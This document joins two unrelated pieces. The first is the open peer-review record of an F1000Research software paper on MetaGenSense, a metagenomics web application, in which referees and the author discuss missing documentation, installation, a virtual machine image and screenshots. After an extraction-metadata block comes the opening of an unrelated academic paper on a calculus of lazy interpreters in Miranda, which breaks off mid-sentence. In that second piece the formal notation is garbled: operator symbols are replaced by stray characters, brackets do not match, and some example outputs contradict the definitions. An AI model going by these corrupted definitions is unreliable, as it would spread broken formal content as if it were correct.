(part of the CIB team). Supplementary materials # References Open Peer Review Current Referee Status: ?? × ?? Version 1 Referee Report 24 June 2015 https://doi.org/10.5256/f1000research.6578.r8902 Saskia Hiltemann Department of Bioinformatics, Erasmus University Medical Center, Rotterdam, The Netherlands General Comments: The authors describe their application, MetaGenSense, a web-based application for analysing metagenomic data. It provides a user-friendly interface which combines a LIMS system with a Galaxy backend for computation and workflow management. The Django framework is very nice, and I think the integration of Galaxy with a LIMS system is very useful and something many readers will be interested in. However, many aspects of this application are tailored specifically to the authors' local setup. I installed parts of the application, but since no information is provided on how to install the various components (LIMS/Django/KRONA/BioBlend), and since the Galaxy server used in the code was not accessible to me, it was not fully functional, and because documentation was lacking, it was unclear to me how to proceed with the setup. To make this work more valuable to the readers, the following additions would be helpful: 1. Installation instructions for the code on GitHub. The readme file is empty at the moment. How to install the various components (LIMS, Django UI, KRONA, BioBlend)? And how to connect the different components together? How to configure the webserver correctly (apache/nginx/other)? Which parts of the code are specific to the authors' local setup and need to be adapted when readers install their own MetaGenSense instance? 2. A description of the Galaxy workflows used by the authors would also be very interesting, which tools are used? are they available from the Galaxy tool shed? 3. Either create a demo server with an example project or add screenshots of the application to the manuscript. The UI looks quite nice, show it to the readers. 4. The case study section is very technical, and would be enhanced by showing the use-case in terms of a real biological example, add screenshots of a real-world analysis to the various steps in this section. Minor Edits: 1. Capitalize the word "Galaxy" throughout. 2. In section "Bioinformatics and HTS projects", BiobBlend --> BioBlend **Competing Interests:** No competing interests were disclosed. I have read this submission. I believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard, however I have significant reservations, as outlined above. --- Author Response 06 Aug 2015 **Olivia Doppelt-Azeroual, Institut Pasteur, France** Thank you very much for your critical review. We posted the answers for your remarks underneath them in bold. To make this work more valuable to the readers, the following additions would be helpful: 1. Installation instructions for the code on GitHub. The readme file is empty at the moment. Yes, the README file is now complete. It contains installation information. Please tell us if you feel that it gathers all useful information to install and configure MetaGenSense. Along with the version 2 of MetaGenSense publication, we built a release of the software. It is available at the URL (https://github.com/pgp-pasteur-fr/MetaGenSense/releases/tag/v1.0) How to install the various components (LIMS, Django UI, KRONA, BioBlend)? And how to connect the different components together? How to configure the webserver correctly (apache/nginx/other)? Which parts of the code are specific to the authors' local setup and need to be adapted when readers install their own MetaGenSense instance? Concerning the LIMS, Django, BioBlend, everything is in the application itself so the connection between the components is natively implemented. For the apache, it is directly linked to Django which is deployed on an apache server. It is very well documented on this url: https://docs.djangoproject.com/en/1.8/howto/deployment/ For KRONA, the javascript which enables the taxonomy distribution exploration is actually generated by a tool, installed in Galaxy. At the Institut Pasteur, it is part of an in-house package which gathers several tools for taxonomy analyses. Those tools are available on GitHub now (it was not a year ago) at the URL: https://github.com/C3BI-pasteur-fr/taxo_pack. To test those tools, we implemented a Virtual Machine image pre-configured to test MetaGenSense directly on a web browser. Instructions are also available in the GitHub README file. For your last question, please look at the “set the settings” part of the README file. 2. A description of the Galaxy workflows used by the authors would also be very interesting, which tools are used? are they available from the Galaxy tool shed? The workflow included on the virtual Machine Galaxy instance contains a light version of our metagenomic analysis workflow. A small fastq file is also included to test it. 3. Either create a demo server with an example project or add screenshots of the application to the manuscript. The UI looks quite nice, show it to the readers. Thank you for that. Yes, another reviewer suggested that we put screenshots of the UI. We added a figure that resummes all the windows and their use for each step. The figure is available at this url: https://github.com/pgp-pasteur-fr/MetaGenSense/blob/master/doc/images/metagensense as well as each of the steps (in bigger picture). This figure is now added to the publication. 4. The case study section is very technical, and would be enhanced by showing the use-case in terms of a real biological example, add screenshots of a real-world analysis to the various steps in this section. Please tell us if the figure resumes well the various steps. For the minor remarks, they are all included in the second version of the publication. Thank you for your critical review of our article. Competing Interests: No competing interests were disclosed. Referee Report 22 June 2015 https://doi.org/10.5256/f1000research.6578.r8217 Manuel Corpas 1, Benedikt Rauscher 2 1 Future Business Centre, Cambridge, UK 2 The Genome Analysis Center, Norwich, UK MetaGenSense is intended to help find pathogen data in metagenomic data created through next generation sequencing. Measured data including the sequencing reads and metadata are fed into a Laboratory Information Management System (LIMS). The application can fetch that information and pipe it into predefined Galaxy workflows, run them and visualise the output via a framework called KRONA. The introduction to the article is perhaps too long (almost half of the article). There are sections that are not necessarily related to the research presented here, e.g., the paragraph focusing on the assembly problem of next generation sequencing reads. It would be useful, however, that the authors give a more comprehensive introduction into metagenomics as this topic is only covered very briefly at the beginning of the introduction. The section on the software tool itself is very technical. I have trouble identifying a clear train of thought. Also it could be shorter and more precise. The case study does not really seem to be a case study on how the application can be used to actually find pathogen information in metagenomic data but is more like a step by step protocol on how to use the application. I suggest that this kind of information should be moved to the documentation and that instead a concrete biological example is demonstrated in the article. Moreover, the title says that MetaGenSense can visualise its results. However, this is not shown in the article. Therefore I would advise the authors to consider replacing the current figure with a figure demonstrating the results of a concrete biological use case. The discussion and conclusion seem to be a summary rather than a discussion. MetaGenSense seems to lack many of the standard requirements of a quality software product - We could not find any documentation. The README file on GitHub does not contain any information. - The last update to the code was months ago, suggesting that the program is not being developed and maintained actively. - We could not find any tests. - We could not find any examples, demos or even screenshots of the interface. Therefore we are not convinced that MetaGenSense adheres to the journal’s quality standards. We believe that the article should be revisited and documentation, live examples and tests should be added to the software before the article should be indexed. **Competing Interests:** No competing interests were disclosed. We have read this submission. We believe that we have an appropriate level of expertise to state that we do not consider it to be of an acceptable scientific standard, for reasons outlined above. **Author Response 28 Aug 2015** **Olivia Doppelt-Azeroual**, Institut Pasteur, France We tried to answer each of your comments. A second version of the publication will be available soon. Thank you for your critical review of our article. **Reviewer Comment:** MetaGenSense is intended to help find pathogen data in metagenomic data created through next generation sequencing. Measured data including the sequencing reads and metadata are fed into a Laboratory Information Management System (LIMS). The application can fetch that information and pipe it into predefined Galaxy workflows, run them and visualise the output via a framework called KRONA. The introduction to the article is perhaps too long (almost half of the article). There are sections that are not necessarily related to the research presented here, e.g., the paragraph focusing on the assembly problem of next generation sequencing reads. It would be useful, however, that the authors give a more comprehensive introduction into metagenomics as this topic is only covered very briefly at the beginning of the introduction. **Reviewer Comment:** The section on the software tool itself is very technical. I have trouble identifying a clear train of thought. Also it could be shorter and more precise. The case study does not really seem to be a case study on how the application can be used to actually find pathogen information in metagenomic data but is more like a step by step protocol on how to use the application. I suggest that this kind of information should be moved to the documentation and that instead a concrete biological example is demonstrated in the article. Moreover, the title says that MetaGenSense can visualise its results. However, this is not shown in the article. Therefore I would advise the authors to consider replacing the current figure with a figure demonstrating the results of a concrete biological use case. Thank you for this interesting remark; the use-case part of the article was modified to be more precise. Moreover, a user can now use MetaGenSense on a concrete biological dataset. We created a virtual machine image preconfigured to directly use MetaGenSense with a web browser. A fastq file, as well as a light version of our metagenomic Galaxy workflow is included. The user can connect to the framework, launch an analysis, explore the framework, as well as the results. Moreover, we also would like to change the title of the publication for it to be more adapted to our approach; replacing visualisation by the word exploration which is really the goal of an application like MetaGenSense. The title of the second version of the article is: "MetaGenSense : A web application for analysis and exploration of high throughput sequencing metagenomic data." **Reviewer Comment:** The discussion and conclusion seem to be a summary rather than a discussion. MetaGenSense seems to lack many of the standard requirements of a quality software product - We could not find any documentation. The README file on GitHub does not contain any information. MetaGenSense README file is now complete. We also have written on a userGuide available directly on our Github repository through the web tool readthedocs : http://metagensense.readthedocs.io. **Reviewer Comment:** - The last update to the code was months ago, suggesting that the program is not being developed and maintained actively. The code in the GitHub repository was committed just before the submission of the article. A few debug and add-ons have been implemented since the previous release. **Reviewer Comment:** - We could not find any tests. As mentioned earlier, we implemented a Virtual Machine Image containing the infrastructure to test our framework. It is pre-configured so that any user can start using MetaGenSense with a web browser. It is available on the Institut Pasteur server as it was too big to be uploaded on GitHub (http://webext.pasteur.fr/metagensense/metagensense.ova). Documentation about this image is available on the README file of our GitHub repository. As Metagenomic analyses are time and storage consuming, we made available a very light version of our workflow with a small fastq file. However, it is enough to test the framework and to understand how the database, the Django framework and the related Galaxy instance are working together. **Reviewer Comment:** - We could not find any examples, demos or even screenshots of the interface. For the screenshots, we added a picture of the framework at each step of its use. It is also available at the url: https://github.com/pgp-pasteur-fr/MetaGenSense/blob/master/doc/images/metagensense_complete.jpeg Moreover, as the screenshots are small, they are also available on our github repository in the doc directory. **Competing Interests:** No competing interests were disclosed. Referee Report 19 June 2015 https://doi.org/10.5256/f1000research.6578.r8901 **Peter Li** GigaScience, Hong Kong SAR, China **General comments** The authors have developed MetaGenSense, a web-based application for analysing metagenomics data. MetaGenSense also acts as a laboratory information management system, managing the metagenomics data and the results of their analysis by Galaxy workflows. The work done by the authors sounds promising since I am a fan of Galaxy and of the Django framework. However, I believe the paper can be much improved by providing additional details in a number of places. For example, it would be interesting to learn more about the two prototyped workflows for analysing metagenomics data which are alluded to in the "Pre-designed Galaxy workflow" section on page 5. The "Case study - use example" section could also be improved by providing screenshots of the MetaGenSense GUI which are relevant to each or some of the steps. At the moment, I have no idea what the GUI for MetaGenSense looks like since there is also no example instance of MetaGenSense available on the Web which would have been useful for reviewing this paper. In the final paragraph, it is stated that MetaGenSense can be easily deployed but looking at the source code in https://github.com/F1000Research/MetaGenSense, there appears to be a lack of documentation to enable me to do this. For example, which version of Django should I use with MetaGenSense? How do I get the MetaGenSense source code integrated with the Django framework? The LIMS for MetaGenSense uses PostgreSQL; how do I set up this database and get it linked to MetaGenSense? How do I provide MetaGenSense with access to a Galaxy server? I think the authors need to provide this type of information to help readers install MetaGenSense for the authors' source code to be more useful. **Minor corrections** Page 3: Paragraph 4 Pacific Bioscience should be Pacific Biosciences. Paragraph 7 BiobBlend should be BioBlend. Page 4 workflow_remote should be workflow_remote like BWA through galaxy - should be, "like BWA through Galaxy..." Page 5 Case study - use example: Need to be consistent by starting bullet points with capital letters. **Competing Interests:** No competing interests were disclosed. I have read this submission. I believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard, however I have significant reservations, as outlined above. Thank you for your review. For each of your remarks, we wrote responses in bold: For example, it would be interesting to learn more about the two prototyped workflows for analysing metagenomics data which are alluded to in the "Pre-designed Galaxy workflow" section on page 5. This publication aims to present an application combining as you wrote above a lims, a direct link to any Galaxy and a way to sort and manage Galaxy results. The workflow you choose to use is totally arbitrary. In essence, MGS was designed in a way that any Galaxy workflow can be plugged-in. To facilitate testing, we implemented a Virtual Machine image pre-configured to test MetaGenSense directly on a web browser. Instructions for download and use are available in the GitHub README file. However, as instructions for installation of the framework are now available, any developer can download and link MetaGenSense to his Galaxy. The "Case study - use example" section could also be improved by providing screenshots of the MetaGenSense GUI which are relevant to each or some of the steps. At the moment, I have no idea what the GUI for MetaGenSense looks like since there is also no example instance of MetaGenSense available on the Web which would have been useful for reviewing this paper. Yes we agree with you, we omitted to add screenshots in the first version of the article. We added a new figure that resumes all MetaGenSense steps and functionalities. It is available at: https://github.com/pgp-pasteur-fr/MetaGenSense/blob/master/doc/images/metagensense_complete.jpeg. It is now the 2nd figure of the article. Moreover all the small figures (steps) are also available in the doc directory of our GitHub repository. In the final paragraph, it is stated that MetaGenSense can be easily deployed but looking at the source code in https://github.com/F1000Research/MetaGenSense, there appears to be a lack of documentation to enable me to do this. For example, which version of Django should I use with MetaGenSense? How do I get the MetaGenSense source code integrated with the Django framework? The LIMS for MetaGenSense uses PostgreSQL; how do I set up this database and get it linked to MetaGenSense? How do I provide MetaGenSense with access to a Galaxy server? I think the authors need to provide this type of information to help readers install MetaGenSense for the authors' source code to be more useful. We improved the documentation on our github repository (https://github.com/pgp-pasteur-fr/MetaGenSense) with elements facilitating deployment. We completed a README file containing well-informed installation and configuration instructions. We also wrote a UserGuide working with readTheDocs documentation tool (http://metagensense.readthedocs.io). Don’t hesitate to tell us if parts of the documentation are still a bit blurry. We will adapt the manuscript with all your minor corrections and suggestions. Thank you very much for your review. **Competing Interests:** No competing interests were disclosed. Referee Response 27 Sep 2016 **Peter Li**, GigaScience, Hong Kong To test the authors' software, it will take over 6 hours for me to download the 2.7 GB machine image provided by the authors. I think this is due to my office internet connection being very slow and because of the fact that I am based in the Far East. Unfortunately, waiting 6 hours plus for the machine image to download is not really practical for me but this is not a fault of the authors. I had a look at the instructions to install MetaGenSense which are available from the README.md file in their GitHub repository in an attempt to manually install the software. I feel that the instructions are minimal, for example, the installation requires a requirements.txt file but I could not find one in the MetaGenSense repo. You would need to know that the contents of requirements.txt are listed at the start of the manual installation instructions. The installation instructions also rely on the user doing background reading to find out how to install and use MetaGenSense's dependencies, for example, virtualenv and a database server. **Competing Interests:** No competing interests were disclosed. Author Response 21 Nov 2016 **Olivia Doppelt-Azeroual**, Institut Pasteur, France Dear Peter Li, Thank you for your review and remarks. Since last August, we asked a non familiar with MetaGenSense colleague to read and install locally the application. This exercise has enabled us to clarify some points. We simplified the README file (https://github.com/pgp-pasteur-fr/MetaGenSense) and added significant details to the installation procedure part in the readthedocs documentation: - As you mentioned, the virtualenv installation procedure has been added. - We also clarified the part concerning the requirements, i.e. the developer needs to copy the three requirements in a requirements.txt file and use the “pip” command to install them. [http://metagensense.readthedocs.io/en/latest/installation.html#requirements](http://metagensense.readthedocs.io/en/latest/installation.html#requirements) - The part concerning the database configuration has also been a bit modified in order to be clearer. We hope the changes applied recently enable you to successfully install MetaGenSense. Best regards, Olivia Doppelt-Azeroual **Competing Interests:** None The benefits of publishing with F1000Research: - Your article is published within days, with no editorial bias - You can publish traditional articles, null/negative results, case reports, data notes and more - The peer review process is transparent and collaborative - Your article is indexed in PubMed after passing peer review - Dedicated customer support at every stage For pre-submission enquiries, contact research@f1000.com
{"Source-Url": "https://f1000researchdata.s3.amazonaws.com/manuscripts/6578/6b844f15-7d7e-4b20-90ed-420a301c5899_6139_-_olivia_doppelt-azeroual.pdf?doi=10.12688/f1000research.6139.1&numberOfBrowsableCollections=15&numberOfBrowsableGateways=24", "len_cl100k_base": 8840, "olmocr-version": "0.1.53", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 41787, "total-output-tokens": 10120, "length": "2e13", "weborganizer": {"__label__adult": 0.0004184246063232422, "__label__art_design": 0.0006432533264160156, "__label__crime_law": 0.0004787445068359375, "__label__education_jobs": 0.0032939910888671875, "__label__entertainment": 0.0002300739288330078, "__label__fashion_beauty": 0.0002956390380859375, "__label__finance_business": 0.0004427433013916016, "__label__food_dining": 0.0005812644958496094, "__label__games": 0.0010356903076171875, "__label__hardware": 0.00208282470703125, "__label__health": 0.0022869110107421875, "__label__history": 0.0004887580871582031, "__label__home_hobbies": 0.00022220611572265625, "__label__industrial": 0.0005555152893066406, "__label__literature": 0.0003933906555175781, "__label__politics": 0.0003292560577392578, "__label__religion": 0.0005435943603515625, "__label__science_tech": 0.322509765625, "__label__social_life": 0.00023853778839111328, "__label__software": 0.144775390625, "__label__software_dev": 0.51708984375, "__label__sports_fitness": 0.0003752708435058594, "__label__transportation": 0.000335693359375, "__label__travel": 0.0002460479736328125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44567, 0.02392]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44567, 0.19154]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44567, 0.90643]], "google_gemma-3-12b-it_contains_pii": [[0, 2553, false], [2553, 4342, null], [4342, 11137, null], [11137, 15474, null], [15474, 20682, null], [20682, 21308, null], [21308, 22607, null], [22607, 24780, null], [24780, 27153, null], [27153, 29621, null], [29621, 32296, null], [32296, 34848, null], [34848, 36900, null], [36900, 38784, null], [38784, 41737, null], [41737, 44136, null], [44136, 44567, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2553, true], [2553, 4342, null], [4342, 11137, null], [11137, 15474, null], [15474, 20682, null], [20682, 21308, null], [21308, 22607, null], [22607, 24780, null], [24780, 27153, null], [27153, 29621, null], [29621, 32296, null], [32296, 34848, null], [34848, 36900, null], [36900, 38784, null], [38784, 41737, null], [41737, 44136, null], [44136, 44567, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44567, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44567, null]], "pdf_page_numbers": [[0, 2553, 1], [2553, 4342, 2], [4342, 11137, 3], [11137, 15474, 4], [15474, 20682, 5], [20682, 21308, 6], [21308, 22607, 7], [22607, 24780, 8], [24780, 27153, 9], [27153, 29621, 10], [29621, 32296, 11], [32296, 34848, 12], [34848, 36900, 13], [36900, 38784, 14], [38784, 41737, 15], [41737, 44136, 16], [44136, 44567, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44567, 0.0]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
86ed76b2ec684d537fd5b84463736fbe6dd826b3
TOWARDS A CALCULUS OF LAZY INTERPRETERS R A Frost and W C Saba, School of Computer Science, University of Windsor Ont N9B 3P4 Some time ago, Knuth suggested that executable attribute grammars might provide a viable declarative programming language [3]. More recently, a number of researchers have argued convincingly for a style of programming that focuses attention on a small collection of powerful higher order functions which capture common patterns of computation. Programs are expressed as compositions of partial applications of these functions. Some of the higher order functions may be defined recursively, but once that is done further explicit use of recursion and induction is avoided. This approach results in variable-free or nearly variable-free programs that may be readily transformed to more efficient forms using algebraic identities associated with the higher order functions. Bird [1] refers to this style as program ‘calculation’. An integration of these two ideas would result in a calculus in which interpreters are values. Some initial progress has been made in developing such a calculus. A number of operators have been developed, some laws have been established, and a few interpreters have been constructed. The operators allow lazy, fully context-sensitive interpreters to be constructed as executable specifications. Interpreters may be composed resulting in a ‘pipeline’ style of programming. 1 INTRODUCTION A number of functions have been developed that may be regarded as operators of a calculus whose values include interpreters. These operators have been implemented in the higher order lazy functional programming language Miranda* [6]. We begin by describing the calculus and then give examples of its use. We conclude with a discussion of planned future work. 2 A CALCULUS OF INTERPRETERS In this section, we present an informal description of a first attempt at a calculus of interpreters. Formal definitions of the operators are given in Appendix A. All definitions are given in a functional notation that requires only minor changes to be run in concrete lazy functional languages. The particular changes required to convert the definitions to executable Miranda code are given in Appendix B. 2.1 The Type Structure 2.1.1 The primitive types. There are two primitive types: terminal and attribute. Both of these types are primitive with respect to the calculus. However, for a given application, they are introduced using an algebraic type definition, e.g.: ``` terminal ::= CHARTERM char | WORDTERMM [char] | NUMTERM num attribute ::= VAL num | RES num | NOUNVAL [num] | SORT [char] ``` The first definition introduces four identifiers: the type-name terminal, and the constructors CHARTERM, WORDTERM and NUMTERM, which are of the following types respectively: ``` char -> terminal [char] -> terminal num -> terminal ``` Given such definitions, the following are examples of values of type terminal and attribute respectively: ``` WORDTERM "two" VAL 2 ``` In order to simplify the following, we shall assume that all terminals are made from character strings. Under this assumption, there is no need to introduce the constructor WORDTERM and the type terminal can be introduced by the following type-synonym declaration: ``` terminal == [char] ``` * Miranda is a Trademark of Research Software Ltd. 2.1.2 The basic type structure - If T is type, then [T] is the type of lists whose elements are of type T. - If T1 to Tn are types, then (T1, ..., Tn) is the type of tuples with objects of these types as components. - If T1 and T2 are types, then T1→T2 is the type of functions with arguments in T1 and results in T2. 2.1.3 The type of interpreters. All interpreters are of type: [[[attribute],[terminal]]] → [[[attribute],[terminal]]] That is, an interpreter is a function which maps a list of pairs of type ([attribute],[terminal]) to a list of pairs of the same type. Explanation: 1. Let us call a value of type ([attribute],[terminal]) an `attsTerms_pair`. 2. Each attsTerms_pair (as, ts) that is in the list that is input to an interpreter is such that: - as is a context, - ts is a sequence of terminal symbols to be interpreted in the context as. 3. Each attsTerms_pair (as', ts') in the list that is output by an interpreter is related to a single pair (as, ts) in the input such that: - as' = a subset of the union of as and the interpretation of some initial segment of ts, - ts' = a list of the remaining uninterpreted terminal symbols in ts. 4. Interpreters return lists of attsTerms_pairs because a sequence of terminals may have more than one interpretation. 5. We have chosen to regard interpreters as accepting lists of attsTerms pairs for a number of reasons, one being that it simplifies their composition. 2.2 The interpreters fail and succeed There are two distinguished interpreters, fail that always fails and succeed that always succeeds. The interpreter fail returns the empty list for all inputs. The interpreter succeed always returns its input as result. 2.3 Lists and Tuples Lists of expressions may be made using square brackets and commas eg: [VAL 1, VAL 2, VAL 3] Lists may be appended using the polymorphic operator ++ which is of type [*] → [*] → [*] eg: [VAL 1, VAL 2] ++ [VAL 3] → [VAL 1, VAL 2, VAL 3] The elements of a list must all be of the same type. A sequence of elements of mixed type is called a tuple, and is written using parentheses eg: ("one", [VAL 1]) 2.4 The Operators 2.4.1 The operator term is of type: (terminal,[attribute]) -> interpreter That is, term takes as input a pair, consisting of a single terminal symbol followed by a list of attributes (the meaning of the terminal symbol), and returns an interpreter for that terminal symbol. Example definitions of interpreters us_bill = term ("billion", [VAL 10^9, DERIV "USA"]) uk_bill = term ("billion", [VAL 10^12, DERIV "UK"]) Example use of interpreters us_bill [[{}, ["billion", "]"]]] => [[[VAL 10^9, DERIV "USA"], ["\"\"]]] uk_bill [[{}, ["two", "\"]]] => [] 2.4.2 The operator : is of type: terminal -> interpreter The operator : takes a single terminal symbol as input and returns an interpreter that recognises that terminal symbol but does not interpret it. The attributes in the input to the interpreter, i.e. the ‘inherited’ context, are simply copied into the output from the interpreter. Example definition of an interpreter cbr = !"\" Example use of the interpreter cbr [[[VAL 10], ["\"", "xx"]]] => [[[VAL 10], ["xx"]]] Notice that contexts such as [VAL 10] ‘pass unchanged’ through interpreters that are constructed using :. 2.4.3 The operator | is of type: interpreter -> interpreter -> interpreter The operator | is best described by giving its formal definition: (p | q) input = p input ++ q input That is, | takes two interpreters as input and returns an ‘alternate’ interpreter as result. This alternate interpreter applies both of the component interpreters to the input and appends their results. Example definition of an interpreter us_or_uk_bill = us_bill | uk_bill Example use of the interpreter us_or_uk_bill [[[{}, ["billion", "xx"]]] => [[[VAL 10^9, DERIV "USA"], ["xx"]], [[[VAL 10^12, DERIV "UK"], ["xx"]]] 2.4.4 The operator excl_ | is similar to | except that it only applies the second interpreter if the first fails. The operator excl_ | can be used in place of | to improve the efficiency of certain types of interpreter. 2.4.5 The operator @ is of type: interpreter -> interpreter -> interpreter The operator @ composes its arguments in the opposite order to that which is usual in mathematical notation. Example definition of an interpreter br_numb = !"(" n numb @ ")" Example use of the interpreter br_numb [[[{}, ["("", "2", ")", "xx"]]] => [[[VAL 2], ["xx"]] Such combinations of : and @ can be used to ‘peel’ off those terminals in the input that serve only as syntactic markers. However, @ has other uses. For example, it allows interpreters to be pipelined. When a composite interpreter p1 @ p2 is given some input inp, the interpreter p1 is applied to it, then the results of this application are fed into p2. In particular, the attributes that are synthesised by p1 constitute the contexts for p2. Whatever terminal symbols in inp that are not ‘consumed’ by p1 are examined and, if recognised, are interpreted by p2. So far, we have not considered any context dependent, or context sensitive, interpreters. We now introduce a construct that allows such interpreters to be defined. 2.5 Specification of Executable Attribute Grammars Interpreters can be defined as executable attribute grammars. The construct used for doing this involves the symbol \( \psi \) followed by a 'production' then a set of 'attribute rules': 1. The 'production' denotes the identity and the order of application of the component interpreters. 2. The 'attribute rules' denote: a. how the inherited context attributes of the 'component' interpreters are to be calculated from the context attributes of the interpreter being defined together with the synthesised attributes that are returned by any of the other component interpreters, b. how the attributes, that are to be returned by the interpreter being defined, are to be synthesised from the attributes in the context given as input to the interpreter and the synthesised attributes of any of the component interpreters. The following are examples of the use of the \( \psi \) construct: Example definitions of interpreters \[ \text{add\_two\_nums} = \psi (s1 \text{ numb} \ldots s2 \text{ numb}) \\ \quad \text{[rule 2.1]} \quad (\text{RES} \uparrow \text{lhs}) \leftarrow \text{add} \left[ \text{VAL} \uparrow s1, \text{VAL} \downarrow s2 \right] \] \[ \text{context\_num} = \psi (s1 \text{ numb}) \\ \quad \text{[rule 2.2]} \quad (\text{RES} \uparrow \text{lhs}) \leftarrow \text{add} \left[ \text{VAL} \uparrow s1, \text{VAL} \downarrow \text{lhs} \right] \] \[ \text{add\_two\_nums'} = \psi (s1 \text{ numb} \ldots s2 \text{ context\_num}) \\ \quad \text{[rule 2.3]} \quad (\text{RES} \uparrow \text{lhs}) \leftarrow \text{same} \left[ \text{RES} \uparrow s2, \text{RES} \uparrow s2 \right], \text{same} \left[ \text{RES} \uparrow s1, \text{VAL} \downarrow s1 \right] \] attribute functions \[ \text{add} \left[ \text{VAL} \ x, \text{VAL} \ y \right] = \text{RES} \ (x + y) \\ \text{same} \left[ \text{x} \right] = \text{x} \] These definitions may be read as follows: 1. The interpreter \text{add\_two\_nums} recognises a structure that consists of a sub-structure \( s1 \) of 'type' \text{numb} followed by a sub-structure \( s2 \) of 'type' \text{numb}. By semantic rule 2.1, the \text{RES} attribute that is synthesised (\( \uparrow \)) for the left hand side \text{lhs} (ie returned by \text{add\_two\_nums}), is equal to the result obtained by applying the attribute function \text{add} to a list of attributes containing the \text{VAL} attributes that were synthesised for the \text{numb} \( s1 \) and \( s2 \). 2. The interpreter \text{context\_num} recognises a structure that consists of a structure \( s1 \) of \text{type numb}. By semantic rule 2.2, the \text{RES} attribute that is synthesised for the left hand side (ie returned by \text{context\_num}), is equal to the result of applying the attribute function \text{add} to a list of attributes containing: a. the \text{VAL} attribute that was synthesised (\( \uparrow \)) for the \text{numb} \( s1 \), b. the \text{VAL} attribute that was passed down as context (\( \downarrow \)) to the interpreter \text{context\_num}. 3. The interpreter \text{add\_two\_nums'} recognises a structure that consists of a structure \( s1 \) of \text{type numb} followed by a structure \( s2 \) of \text{type context\_num}. a. By semantic rule 2.3, the \text{RES} synthesised for the left hand side \text{lhs} (ie returned by \text{add\_two\_nums'}), is equal to the result of applying the attribute function \text{same} as to a list of attributes containing the \text{VAL} attribute that was synthesised for the \text{context\_num} \( s2 \). b. By semantic rule 2.4, the \text{VAL} attribute inherited as context by the \text{numb} \( s2 \) is equal to the result of applying the attribute function \text{same} as to a list of attributes containing the \text{VAL} attribute that was synthesised for the \text{numb} \( s1 \). Note that: * The interpreters \text{add\_two\_nums} and \text{add\_two\_nums'} are equivalent to the interpreter \text{add\_two\_nums"} defined as follows: \[ \text{add\_two\_nums''} = \text{numb \& context\_num} \] • All attribute functions are of type: [attribute] -> attribute i.e. they are all functions from lists of attributes to a single attribute. • The order of the attribute rules within a definition is irrelevant. • If the ‘names’ of the synthesized and inherited attributes are disjoint, then ↑ and ↓ can both be replaced by ⊥ which is to be read as ‘of’. This removes all procedurality in the definitions excepting that the attribute rules are used as left to right re-writes. Example use of interpreters add_two_nums [[[1],["1","2","."]]] => [[[RES 3],["."]]] context_num [[[VAL 10],["2","."]]] => [[[RES 12],["."]]] Although we have not given an example here, an inherited (context) attribute for an interpreter can be defined in terms of synthesized attributes returned by interpreters to its right in the production. That is, context sensitive interpreters may be constructed using ⊥. There are no restrictions on the attribute dependencies that are allowed. It is up to the user to ensure that definitions do not contain circular dependencies. The only restriction in ⊥ structures is that the productions must not be left recursive. 2.6 Binding Powers The following lists the operators in order of decreasing binding power: <table> <thead> <tr> <th>Operator</th> <th>Comments</th> </tr> </thead> <tbody> <tr> <td>term</td> <td>prefix</td> </tr> <tr> <td>!</td> <td>prefix</td> </tr> <tr> <td>1</td> <td>associative and commutative</td> </tr> <tr> <td>excl._</td> <td>associative and commutative</td> </tr> <tr> <td>++</td> <td>associative</td> </tr> <tr> <td>$</td> <td>associative</td> </tr> </tbody> </table> Function application is denoted by juxtaposition and is left associative. Function application is more binding than any operator. 2.7 Laws and Equivalences The following are examples of laws and equivalences that hold in the calculus: 1. succeed is a left and right identity for ⊥. 2. fail is a left and right identity for both ↑ and excl._. 3. For all p1 and p2, p | q = p excl._ q ++ q excl._ p 4. For all interpreters p0, p1, p2, p3, p4, all attribute constructors A1, A2, A3, all attribute functions f, and all numbers k, l, m and n, the following equivalence holds: p2 = p4 where p2 = ψ (s1 p0 ... s2 p1) [rule k (A1 ↑ lhs) <- f [A2 ↑ s1, A3 ↑ s2]] p4 = ψ (s1 p0 ... s2 p3) [rule l (A1 ↑ lhs) <- same[A1 ↑ s2], [rule m (A2 ↓ s2) <- same[A2 ↑ s1]] p3 = ψ (s1 p1) [rule n (A1 ↑ lhs) <- f[A2 ↓ lhs, A3 ↑ s1]] 5. For all interpreters p, lists of attributes atts, terminals t, and lists of terminals ts: (it ⊥ p)(atts, (t:ts)) = p(atts, ts) 2.8 Auxiliary Functions and Abbreviations The following are examples of useful auxiliary functions and abbreviations. 2.8.1 The function `mkint` is of type: ``` [(terminal, [attribute])] -> interpreter ``` The input to `mkint` is a `dictionary` comprising a list of pairs, each of which consists of a single terminal symbol followed by a list of attributes (the meaning of the terminal symbol), and returns as result an interpreter for that dictionary. *Example definition of an interpreter* ```plaintext numb = mkint ["one", [VAL 1]], ["two", [VAL 2]], ["billion", [VAL 10^9]], ["billion", [VAL 10^12]] ``` *Example use of the interpreter* ```plaintext numb [[[], ["two", "xx"]]] => [[[VAL 2], ["xx"]]] numb [[[], ["billion", "xx"]]] => [[[VAL 10^9], ["xx"]], [[VAL 10^12], ["xx"]]] ``` Interpreters that are constructed using `mkint` return a list of results, one for each terminal 